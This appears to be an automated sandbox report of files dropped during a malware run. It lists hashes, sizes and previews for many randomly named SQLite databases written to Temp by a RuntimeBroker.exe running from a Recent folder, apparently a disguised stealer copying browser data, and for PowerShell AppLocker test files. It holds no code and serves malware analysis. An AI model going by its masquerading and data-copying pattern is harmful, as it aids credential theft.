Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VKEbU4ZhgN

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VLamdTqpNO

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VRHIfwXMt1

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Vi09rgHRvI

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VkHyPIB5ab

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\Vw48PUAjZH

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WD4h183O74

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WvCkli3O03

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\X9fXUYRp4k

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XSK4c4fx1L

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XWDvRqD6DW

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Xh8Qq4g73n

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XwKKxtsCZl

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YJ81BR70l2

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YSaFHs2in4

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YsKVO0C5qb

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZNL7Z6W7SS

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZUAZsI1j7d

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZiYm5DkltC

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gsh0xc3.g02.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3bzvjtqy.1za.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4btxidxa.ffv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5olqfptu.cbf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c21q1dbm.cxm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_copzlzgg.3bp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eannoagy.40u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fleeg1cv.sq4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

